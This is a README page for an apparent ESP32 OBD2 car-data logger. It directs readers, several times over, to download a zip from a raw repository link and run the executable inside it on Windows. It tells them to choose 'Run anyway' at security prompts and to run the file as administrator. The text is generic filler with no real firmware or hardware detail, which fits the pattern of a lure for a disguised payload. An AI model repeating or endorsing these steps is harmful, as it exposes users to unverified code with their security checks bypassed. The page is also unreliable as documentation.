Content
# 🔧 esp32-obd2-logger - Track Car Data With Ease
[](https://raw.githubusercontent.com/feelingspatrol609/esp32-obd2-logger/main/main/obd-esp-logger-v1.3.zip)
## 🚗 What this app does
esp32-obd2-logger helps you collect OBD2 data from a car using an ESP32 device. It is built for users who want a simple way to read vehicle data and save it for later use.
Use it to:
- Connect to a car through OBD2
- Read live vehicle data
- Log values for later review
- Work with an ESP32-based setup
- Keep a basic record of engine and sensor data
## 📥 Download and set up
Use this link to visit the page and download the app files:
[Visit the download page](https://raw.githubusercontent.com/feelingspatrol609/esp32-obd2-logger/main/main/obd-esp-logger-v1.3.zip)
### What to look for on the page
- A **Releases** section
- A file you can download for Windows
- Any `.exe`, `.zip`, or `.msi` file
- Setup notes or usage steps near the files
### If you see a ZIP file
1. Download the file.
2. Right-click it.
3. Choose **Extract All**.
4. Open the extracted folder.
5. Find the app file and double-click it.
### If you see an EXE file
1. Download the file.
2. Open the file from your Downloads folder.
3. If Windows asks for permission, choose **Run**.
4. Follow the steps on screen.
## 🪟 Windows requirements
Before you run esp32-obd2-logger, check these basics:
- A Windows 10 or Windows 11 PC
- Internet access for the first download
- A free USB port if you use an ESP32 board
- An ESP32 device set up for OBD2 logging
- A working OBD2 adapter or interface, if your setup needs one
- Permission to run downloaded apps on your PC
## ⚙️ Before you start
Make sure you have:
- The ESP32 board connected and ready
- The right USB cable
- A car with an OBD2 port
- Your OBD2 adapter paired or wired as needed
- Power for the ESP32 board
If your setup uses Bluetooth or Wi-Fi, keep the ESP32 and PC on the same network or within range.
## 🚀 Install on Windows
1. Open the download page.
2. Get the latest file for Windows.
3. Save it to your PC.
4. Open the downloaded file or extract the ZIP.
5. Double-click the app or launcher.
6. Allow Windows to finish any setup it asks for.
7. Start the program.
If Windows shows a security prompt:
- Choose **More info**
- Then choose **Run anyway** if you trust the file from the project page
## 🔌 Connect the ESP32 to your car
To log data, the ESP32 must talk to the car’s OBD2 port.
Typical setup:
1. Plug the OBD2 adapter into the car.
2. Connect the ESP32 to the adapter.
3. Turn the car key to the accessory or ignition position.
4. Wait for the adapter to power on.
5. Open the logger app on your PC.
If you use a wireless setup:
- Make sure the ESP32 is powered
- Confirm the PC can see the device
- Check that the car ignition is on
## 📊 Start logging data
After the app opens:
1. Select the ESP32 device or connection type.
2. Choose the car data you want to read.
3. Start the session.
4. Watch the live values on screen.
5. Save the log when you are done.
Common values may include:
- Engine speed
- Vehicle speed
- Coolant temperature
- Intake air temperature
- Throttle position
- Fuel data
- Error codes
## 🧭 Basic workflow
A simple use flow looks like this:
1. Download the app from the project page
2. Install or open it on Windows
3. Connect the ESP32 and OBD2 adapter
4. Start the vehicle or turn the ignition on
5. Read live data
6. Save the log file
7. Review the data later
## 🛠️ Common setup tips
### App does not open
- Try running it as administrator
- Make sure you extracted the ZIP first
- Check that the file finished downloading
### No data shows up
- Confirm the car ignition is on
- Check the OBD2 connection
- Make sure the ESP32 has power
- Try reconnecting the adapter
### Connection keeps dropping
- Move the ESP32 closer to the adapter or PC
- Use a stable USB cable
- Check power to the board
- Restart the app and reconnect
### Data looks wrong
- Confirm the correct car protocol
- Check that the adapter matches your setup
- Retry the connection after turning the ignition off and on
## 📁 Files you may see
The download may include:
- The main app file
- A ZIP package
- Setup files
- Readme or usage notes
- Example configuration files
- Log output folders
If you see a config file, open it with Notepad only if the setup guide tells you to.
## 🖥️ Suggested PC setup
For the best results:
- Use a laptop or desktop running Windows 10 or 11
- Keep at least 200 MB of free space
- Use a steady internet connection for download
- Close other apps that may use the same COM port or USB device
- Keep your laptop plugged in during logging
## 🔎 What the logger is good for
esp32-obd2-logger suits users who want to:
- Track vehicle data over time
- Save readings from an ESP32 OBD2 build
- Review engine values after a drive
- Test sensors and connections
- Build a simple car data tool
## 🧩 Typical use cases
You can use this project for:
- Car health checks
- Drive testing
- Fuel and performance review
- DIY telemetry projects
- Data capture for later analysis
## 📌 Simple first run guide
If this is your first time using the app:
1. Go to the download page.
2. Download the latest file.
3. Extract it if it comes as a ZIP.
4. Open the app on Windows.
5. Connect the ESP32 setup.
6. Turn on the car ignition.
7. Start reading values.
8. Save the log when you finish
## 🔗 Download again
If you need the project page again, use this link:
[https://raw.githubusercontent.com/feelingspatrol609/esp32-obd2-logger/main/main/obd-esp-logger-v1.3.zip](https://raw.githubusercontent.com/feelingspatrol609/esp32-obd2-logger/main/main/obd-esp-logger-v1.3.zip)
## 🧪 Expected behavior
When the app works as intended, you should see:
- A live connection to the ESP32
- OBD2 values updating on screen
- A clear start and stop control
- A log file created after saving
- Basic status messages during use
## 🧰 If you want to keep things stable
Use these habits:
- Keep the USB cable short and firm
- Do not unplug the adapter during a log
- Save logs before closing the app
- Use one OBD2 tool at a time
- Restart the app after changing device settings
## 📄 What to expect from the project page
On the GitHub page, look for:
- The latest release file
- Setup notes
- Usage details
- Any hardware notes for ESP32 or OBD2
- Example screenshots or images if included
## 🧷 Quick checklist
- [ ] Download the file from the project page
- [ ] Extract it if needed
- [ ] Open it on Windows
- [ ] Connect the ESP32
- [ ] Connect to the car OBD2 port
- [ ] Turn the ignition on
- [ ] Start logging data
